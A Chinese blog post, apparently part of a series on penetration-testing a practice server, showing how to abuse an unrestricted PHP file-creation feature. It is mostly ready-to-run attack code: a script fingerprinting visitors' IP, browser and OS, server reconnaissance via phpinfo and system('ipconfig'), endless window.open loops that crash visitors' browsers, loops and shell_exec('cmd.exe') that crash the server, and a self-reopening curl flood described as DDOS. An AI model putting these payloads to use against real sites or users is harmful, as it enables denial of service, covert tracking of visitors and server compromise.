服务器渗透测试练习(part8:扩大攻击范围(PHP篇))

#0:回顾

我们在之前对服务器的试探中曾经尝试在服务器上执行PHP代码,但是没有成功,这篇文章就能讲一下如何用另外的途径进行PHP代码执行。

上一篇文章用的JS代码均是在read的页面执行并输出结果,但是这对PHP代码来说无效,因为服务器后端就用的是PHP,而且read页面是用echo进行文本显示,所以不能在read页面动手脚了。那么应该如何利用呢?

PS:这篇文章中提到的所有方法中,需用户打开的必须结合JS重定向使用,需攻击者打开的一律访问127.0.0.1/你们的文章保存路径/*.php来进行查看。

#1:PHP+获取用户信息(需用户打开该页面)

来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_GU),类型为php,标题随意,正文如下

<?php
function get_real_ip(){ 
    $ip=false; 
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){ 
        $ip=$_SERVER['HTTP_CLIENT_IP']; 
    }
    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ 
        $ips=explode (', ', $_SERVER['HTTP_X_FORWARDED_FOR']); 
        if($ip){ array_unshift($ips, $ip); $ip=FALSE; }
        for ($i=0; $i < count($ips); $i++){
            if(!eregi ('^(10│172.16│192.168).', $ips[$i])){
                $ip=$ips[$i];
                break;
            }
        }
    }
    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); 
}
function get_broswer(){
    $sys=$_SERVER['HTTP_USER_AGENT'];
    if(stripos($sys,"Firefox/")>0){
        preg_match("/Firefox\/([^;)]+)+/i",$sys,$b);
        $exp[0]="Firefox";
        $exp[1]=$b[1];
    }
    elseif(stripos($sys,"Maxthon")>0){
        preg_match("/Maxthon\/([\d\.]+)/",$sys,$aoyou);
        $exp[0]="傲游";
        $exp[1]=$aoyou[1];
    }
    elseif(stripos($sys,"MSIE")>0){
        preg_match("/MSIE\s+([^;)]+)+/i",$sys,$ie);
        $exp[0]="IE";
        $exp[1]=$ie[1];
    }
    elseif(stripos($sys, "OPR")>0) {
        preg_match("/OPR\/([\d\.]+)/",$sys,$opera);
        $exp[0]="Opera";
        $exp[1]=$opera[1];  
    }
    elseif(stripos($sys, "Edge")>0) {
        preg_match("/Edge\/([\d\.]+)/",$sys,$Edge);
        $exp[0]="Edge";
        $exp[1]=$Edge[1];
    }
    elseif(stripos($sys, "Chrome")>0) {
        preg_match("/Chrome\/([\d\.]+)/",$sys,$google);
        $exp[0]="Chrome";
        $exp[1]=$google[1];
    }
    elseif(stripos($sys,'rv:')>0 && stripos($sys,'Gecko')>0){
        preg_match("/rv:([\d\.]+)/",$sys,$IE);
        $exp[0]="IE";
        $exp[1]=$IE[1];
    }
    else{
        $exp[0]="未知浏览器";
        $exp[1]="";
    }
    return $exp[0].'('.$exp[1].')';
}
function get_os(){
    $agent=$_SERVER['HTTP_USER_AGENT'];
    $os='';
    if(preg_match('/win/i',$agent) && strpos($agent,'95')){
    $os = 'Windows 95';
    }
    else if(preg_match('/win 9x/i',$agent) && strpos($agent,'4.90')){
        $os = 'Windows ME';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/98/i',$agent)){
        $os = 'Windows 98';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/nt 6.0/i',$agent)){
        $os = 'Windows Vista';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/nt 6.1/i',$agent)){
        $os = 'Windows 7';
    }
    else if (preg_match('/win/i',$agent) && preg_match('/nt 6.2/i',$agent)){
        $os = 'Windows 8';
    }else if(preg_match('/win/i',$agent) && preg_match('/nt 10.0/i',$agent)){
        $os = 'Windows 10';
    }else if(preg_match('/win/i',$agent) && preg_match('/nt 5.1/i',$agent)){
        $os='Windows XP';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/nt 5/i',$agent)){  
        $os='Windows 2000';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/nt/i',$agent)){
        $os='Windows NT';
    }
    else if(preg_match('/win/i',$agent) && preg_match('/32/i',$agent)){
        $os='Windows 32';
    }
    else if(preg_match('/linux/i',$agent)){
        $os='Linux';
    }
    else if(preg_match('/unix/i',$agent)){
        $os='Unix';
    }
    else if(preg_match('/sun/i',$agent) && preg_match('/os/i',$agent)){
        $os='SunOS';
    }
    else if(preg_match('/ibm/i',$agent) && preg_match('/os/i',$agent)){
        $os='IBM OS/2';
    }
    else if(preg_match('/Mac/i',$agent) && preg_match('/PC/i',$agent)){
        $os='Macintosh';
    }
    else if(preg_match('/PowerPC/i',$agent)){
        $os='PowerPC';
    }
    else if(preg_match('/AIX/i',$agent)){
        $os='AIX';
    }
    else if(preg_match('/HPUX/i',$agent)){
        $os='HPUX';
    }
    else if(preg_match('/NetBSD/i',$agent)){
        $os='NetBSD';
    }
    else if(preg_match('/BSD/i',$agent)){
        $os='BSD';
    }
    else if(preg_match('/OSF1/i',$agent)){  
        $os='OSF1';
    }
    else if(preg_match('/IX/i',$agent)){
        $os='IRIX';
    }
    else if(preg_match('/FreeBSD/i',$agent)){
        $os='FreeBSD';
    }
    else if(preg_match('/teleport/i',$agent)){
        $os='teleport';
    }
    else if(preg_match('/flashget/i',$agent)){
        $os='flashget';
    }
    else if(preg_match('/webzip/i',$agent)){
        $os='webzip';
    }
    else if(preg_match('/offline/i',$agent)){
        $os='offline';
    }
    else{
        $os='未知操作系统';
    }
    return $os;  
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>logcheck</title>
</head>

<body>
    <?php
    error_reporting(0);
    echo get_real_ip().' '.get_broswer().' '.get_os();//这里在实际使用时应该换成保存为文件的代码
    ?>
</body>
</html>

这个页面结合之前的JS重定向可以获取到所有访问有重定向代码的read页面的用户的IP,浏览器及版本和操作系统,等于是为后续工作收集信息。

#2:PHP+伪造登录页面(需用户打开该页面)

见前一篇文章。

#3:PHP+获取服务器信息(需攻击者打开该页面)

来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_GS),类型为php,标题随意,正文如下

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>logcheck</title>
</head>

<body>
    <?php
    error_reporting(0);
    echo phpinfo()
    ?>
</body>
</html>

然后只需要访问127.0.0.1/你们的文章保存路径/hack_PHP_GS.php就可以看到关于服务器使用的PHP的所有信息。

服务器IP:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    set_time_limit(0);
    system("ipconfig");
    ?>
</body>
</html>

#4:PHP+蓄意引发客户端崩溃(需用户打开该页面)(这个也可以使用JS)

来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_CU),类型为php,标题随意,正文如下

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    while(1){
        echo "<script>window.open('http://bd.iegourl.com/n1023_bd')</script>";
    }
    ?>
</body>
</html>

这段代码会循环在新标签页中打开百度首页,直到客户端内存耗尽导致崩溃,或者被用户关掉。

升级版:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    while(true){
        echo "<script>window.open(window.location.href)</script>";
    }
    ?>
</body>
</html>

循环打开自己,速度会比上一个稍快,因为该页面已经在本地缓存了。

#5:PHP+蓄意引发服务器崩溃(需攻击者打开该页面)

来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_CS),类型为php,标题随意,正文如下

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    set_time_limit(0);
    while(true){
        echo '1';
    }
    ?>
</body>
</html>

这段代码会让服务器当场暴毙。

升级版:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    set_time_limit(0);
    while(true){
        shell_exec("cmd.exe");
    }
    ?>
</body>
</html>

服务器会循环打开cmd命令提示符(这里笔者用的是Windows搭建的服务器),导致死机。

#6:PHP+DDOS(需攻击者打开该页面(升级版需用户打开))

来到新建文档页面,新建一个任意名称的文档(这里为hack_PHP_DDOS),类型为php,标题随意,正文如下

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    set_time_limit(0);
    while(true){
        $url='http://127.0.0.1';//这里应改为相应的服务器地址
        $curl=curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data=curl_exec($curl);
        curl_close($curl);
        var_dump($data);
    }
    ?>
</body>
</html>

这段代码会循环对服务器发送http请求,以阻塞端口,实现DDOS。

升级版:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>

<body>
    <?php
    set_time_limit(0);
    while(true){
        $url='http://127.0.0.1';//这里应改为相应的服务器地址
        $curl=curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data=curl_exec($curl);
        curl_close($curl);
        var_dump($data);
        echo '<script>window.open(window.location.href)</script>'
    }
    ?>
</body>
</html>

这段代码会在每发送一次请求就打开一个新的该页面,继续发送请求,所以服务器收到的请求会呈几何级数增长,也会引发客户端的崩溃,一举两得。

下一篇文章将会讲解另一些使用PHP扩大攻击范围的方法。

posted @ 2021-03-07 13:16  awcyvan  阅读(59)  评论(0编辑  收藏  举报